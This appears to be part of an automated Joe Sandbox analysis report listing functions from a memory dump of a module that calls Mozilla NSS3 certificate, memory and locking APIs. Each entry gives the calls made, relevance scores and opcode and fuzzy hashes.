Instruction Fuzzy Hash: C3310871804300DBDB208F249849BAA77B4AF8632CF24061DE8759BBD1E732950AC7A7

Function 6CE73E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE740D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE73F7F,?,00000055,?,?,6CE71666,?,?), ref: 6CE740D9
Part of subcall function 6CE740D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE71666,?,?), ref: 6CE740FC
Part of subcall function 6CE740D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE71666,?,?), ref: 6CE74138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
PL_FreeArenaPool.NSS3 ref: 6CE73F14
PL_FinishArenaPool.NSS3 ref: 6CE73F1C

Part of subcall function 6CED64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CED127C,00000000,00000000,00000000), ref: 6CED650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

Strings

security, xrefs: 6CE73EBC

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 40a576234cc153c1246a5e399c1c19ab1fcfe10d3757834ecc614d273302e428
Instruction ID: 65f1b6165c9cbf9312be930cec4f565ac1fbc92bef6aa4dc20107cf88f667ca8
Opcode Fuzzy Hash: 40a576234cc153c1246a5e399c1c19ab1fcfe10d3757834ecc614d273302e428
Instruction Fuzzy Hash: 2B210AB1A04300ABD3149B15AC02F9B77B8FB4435CF15093DF959A7741E731E918C7A6

Function 6CEBCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CEBCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CEBCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CEBD079

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 8858d5aa1f977c3943ceb8e79470fdfe04157c3fbdee411b07e2fd27089dd86e
Instruction ID: 1a7f68d7344160a40d14dea99891f3df13694e61ac57233254d63b5ea28fd6b9
Opcode Fuzzy Hash: 8858d5aa1f977c3943ceb8e79470fdfe04157c3fbdee411b07e2fd27089dd86e
Instruction Fuzzy Hash: 8CC1AEB5A002199BDB11CF24CD80BEAB7B5BF48318F2441A8E948A7741E775EE95CF90

Function 6CEADC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CEB97C1,?,00000000,00000000,?,?,?,00000000,?,6CE97F4A,00000000), ref: 6CEADC68

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADFAA

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 62bccf581ed8258e3b7b99cf04b6422cfd1063eb0ceae8ef69372ec81b473c33
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 17819078E066008FFF104A99C89035A72B2DB6534CF34C43ADD5ACEBE1E778D686C602

Function 6CE83C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE83C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE83C94

Part of subcall function 6CE795B0: TlsGetValue.KERNEL32(00000000,?,6CE900D2,00000000), ref: 6CE795D2
Part of subcall function 6CE795B0: EnterCriticalSection.KERNEL32(?,?,?,6CE900D2,00000000), ref: 6CE795E7
Part of subcall function 6CE795B0: PR_Unlock.NSS3(?,?,?,?,6CE900D2,00000000), ref: 6CE79605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE83CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE83CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE83CE1

Part of subcall function 6CE83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE9AE42), ref: 6CE830AA
Part of subcall function 6CE83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE830C7
Part of subcall function 6CE83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE830E5
Part of subcall function 6CE83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE83116
Part of subcall function 6CE83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE8312B
Part of subcall function 6CE83090: PK11_DestroyObject.NSS3(?,?), ref: 6CE83154
Part of subcall function 6CE83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8317E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: e816c968028da1b31738391abe74f3582a16e01d69491dd76992ffb0f00d8997
Instruction ID: 25f20a99c55b81dbaa34ddd00264148f85c41808f3ab2e170e451aac5bd4bbd4
Opcode Fuzzy Hash: e816c968028da1b31738391abe74f3582a16e01d69491dd76992ffb0f00d8997
Instruction Fuzzy Hash: 0A61C5B5A01300ABEF105EA5DD41FA776B9EF0474CF284028EE09AAB52F731D914C7B1

Function 6CEC3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC3440: PK11_GetAllTokens.NSS3 ref: 6CEC3481
Part of subcall function 6CEC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEC34A3
Part of subcall function 6CEC3440: TlsGetValue.KERNEL32 ref: 6CEC352E
Part of subcall function 6CEC3440: EnterCriticalSection.KERNEL32(?), ref: 6CEC3542
Part of subcall function 6CEC3440: PR_Unlock.NSS3(?), ref: 6CEC355B

TlsGetValue.KERNEL32 ref: 6CEC3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CEC3D9F
PR_Unlock.NSS3(?), ref: 6CEC3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEC3E4F

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

TlsGetValue.KERNEL32 ref: 6CEC3E97
EnterCriticalSection.KERNEL32(?), ref: 6CEC3EAB
PR_Unlock.NSS3(?), ref: 6CEC3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3EEE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 499083ac05a33fdd371658151c49ead4085e970ce0d1205e3857934a5cb38e6b
Instruction ID: 0e7de7ede62f517b5cbeb4bb84b14a39838b2741860d7dac4046c4f2f56ca238
Opcode Fuzzy Hash: 499083ac05a33fdd371658151c49ead4085e970ce0d1205e3857934a5cb38e6b
Instruction Fuzzy Hash: 0A515575F003009FDB01AF29D944BAA77B0AF4631CF250128EE294BB12EB31E944CBC2

Function 6CE72C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(20C012B1), ref: 6CE72C5D

Part of subcall function 6CED0D30: calloc.MOZGLUE ref: 6CED0D50
Part of subcall function 6CED0D30: TlsGetValue.KERNEL32 ref: 6CED0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE72C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE72CE0

Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E
Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33
Part of subcall function 6CE72E00: TlsGetValue.KERNEL32 ref: 6CE72E4E
Part of subcall function 6CE72E00: EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
Part of subcall function 6CE72E00: PL_HashTableLookup.NSS3(?), ref: 6CE72E71
Part of subcall function 6CE72E00: PL_HashTableRemove.NSS3(?), ref: 6CE72E84
Part of subcall function 6CE72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
Part of subcall function 6CE72E00: PR_Unlock.NSS3 ref: 6CE72EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE72D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE72D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE72D3F
free.MOZGLUE(00000000), ref: 6CE72D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE72DB8
free.MOZGLUE ref: 6CE72DC8

Part of subcall function 6CE73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
Part of subcall function 6CE73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6
Part of subcall function 6CE73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE
Part of subcall function 6CE73E60: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
Part of subcall function 6CE73E60: PL_FreeArenaPool.NSS3 ref: 6CE73F14
Part of subcall function 6CE73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 6e0dde0b96f6ebefc2024c63676fcb36aa4e7f0f97e1cae589828737ba20fc16
Instruction ID: 30e6f76e1563e1a7d20a582bb71da4d097bd1988848cd01b526b20179ed0b09a
Opcode Fuzzy Hash: 6e0dde0b96f6ebefc2024c63676fcb36aa4e7f0f97e1cae589828737ba20fc16
Instruction Fuzzy Hash: 0051DC71A04312DBEB219E29DD88B5B77F5EFA434CF25042CE95987710E731E815CBA2

Function 6CE98F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE9905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE990EC

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99111

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: ed9928e2ebc50bb60285e963fe6cf3224e6da0070ee182c287364b2d18fe4f9a
Instruction ID: af3fef76a18198259a7b8944d5eecf73a608fe60c625a01d5da128d0d271dad0
Opcode Fuzzy Hash: ed9928e2ebc50bb60285e963fe6cf3224e6da0070ee182c287364b2d18fe4f9a
Instruction Fuzzy Hash: F1519875A146148FCF40EF39C488399BBF0BF0A318F265569DC499BB16EB31E885CB81

Function 6CE77CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE740D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE73F7F,?,00000055,?,?,6CE71666,?,?), ref: 6CE740D9
Part of subcall function 6CE740D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE71666,?,?), ref: 6CE740FC
Part of subcall function 6CE740D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE71666,?,?), ref: 6CE74138

PR_GetCurrentThread.NSS3 ref: 6CE77CFD

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF99030), ref: 6CE77D1B

Part of subcall function 6CECFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE71A3E,00000048,00000054), ref: 6CECFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF99048), ref: 6CE77D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE77D50
PR_GetCurrentThread.NSS3 ref: 6CE77D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE77D7D
free.MOZGLUE(?), ref: 6CE77D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE77DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE77E19

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 646afab84c9bff3ed2afd2d32a15d3bc2cc4b93ee986a7ebf787ebc906a2658b
Instruction ID: c9a40bbbc6a407d3d129eb324fdc1444973399d6e06106bcba22b27a945c5140
Opcode Fuzzy Hash: 646afab84c9bff3ed2afd2d32a15d3bc2cc4b93ee986a7ebf787ebc906a2658b
Instruction Fuzzy Hash: 7D41F872A0011A9BDB118E699D41BAF37B4EF4235CF250124ED19A7750EB31ED15C7F1

Function 6CE87EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE880DD), ref: 6CE87F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE880DD), ref: 6CE87F36
free.MOZGLUE(?,?,?,6CE880DD), ref: 6CE87F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE880DD), ref: 6CE87F5D
DeleteCriticalSection.KERNEL32(?,6CE880DD), ref: 6CE87F94
free.MOZGLUE(?), ref: 6CE87F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE880DD), ref: 6CE87FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE880DD), ref: 6CE87FE6
free.MOZGLUE(?,6CE880DD), ref: 6CE8802D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 45d79f32a371315f997b804c463f6a00fd1cd3aaf62410773632647f17af8520
Instruction ID: 9f9dd31bf6596a454462d6fd052a55c505b22522b25bdf8f7798e30528d63804
Opcode Fuzzy Hash: 45d79f32a371315f997b804c463f6a00fd1cd3aaf62410773632647f17af8520
Instruction Fuzzy Hash: 9541D971F221504BDB50AFB9888DB4B3775AB47358F264129F91987B40D732B805CBE1

Function 6CECFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CECFF00

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CECFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CECFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CECFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CECFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CECFF8C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 84d63c7f34b4f48895c637f6e54092de463b3aa5dc895c18154e9d1f5cc358bf
Instruction ID: 705a7e2124c2b96c99a20020808e98e96a0595d41c376003a698fd0131955acf
Opcode Fuzzy Hash: 84d63c7f34b4f48895c637f6e54092de463b3aa5dc895c18154e9d1f5cc358bf
Instruction Fuzzy Hash: 613137B2A013929BE7108E958D42B5B76B8EF4634CF354139EC28D7B40E735E906C7D2

Function 6CED3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CED38BD), ref: 6CED3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CED38BD), ref: 6CED3CD1

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CED38BD), ref: 6CED3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CFAB369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CED38BD), ref: 6CED3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CED38BD), ref: 6CED3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CFAB369,000000FF,00000000,00000000,00000000,6CED38BD), ref: 6CED3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CED3D47
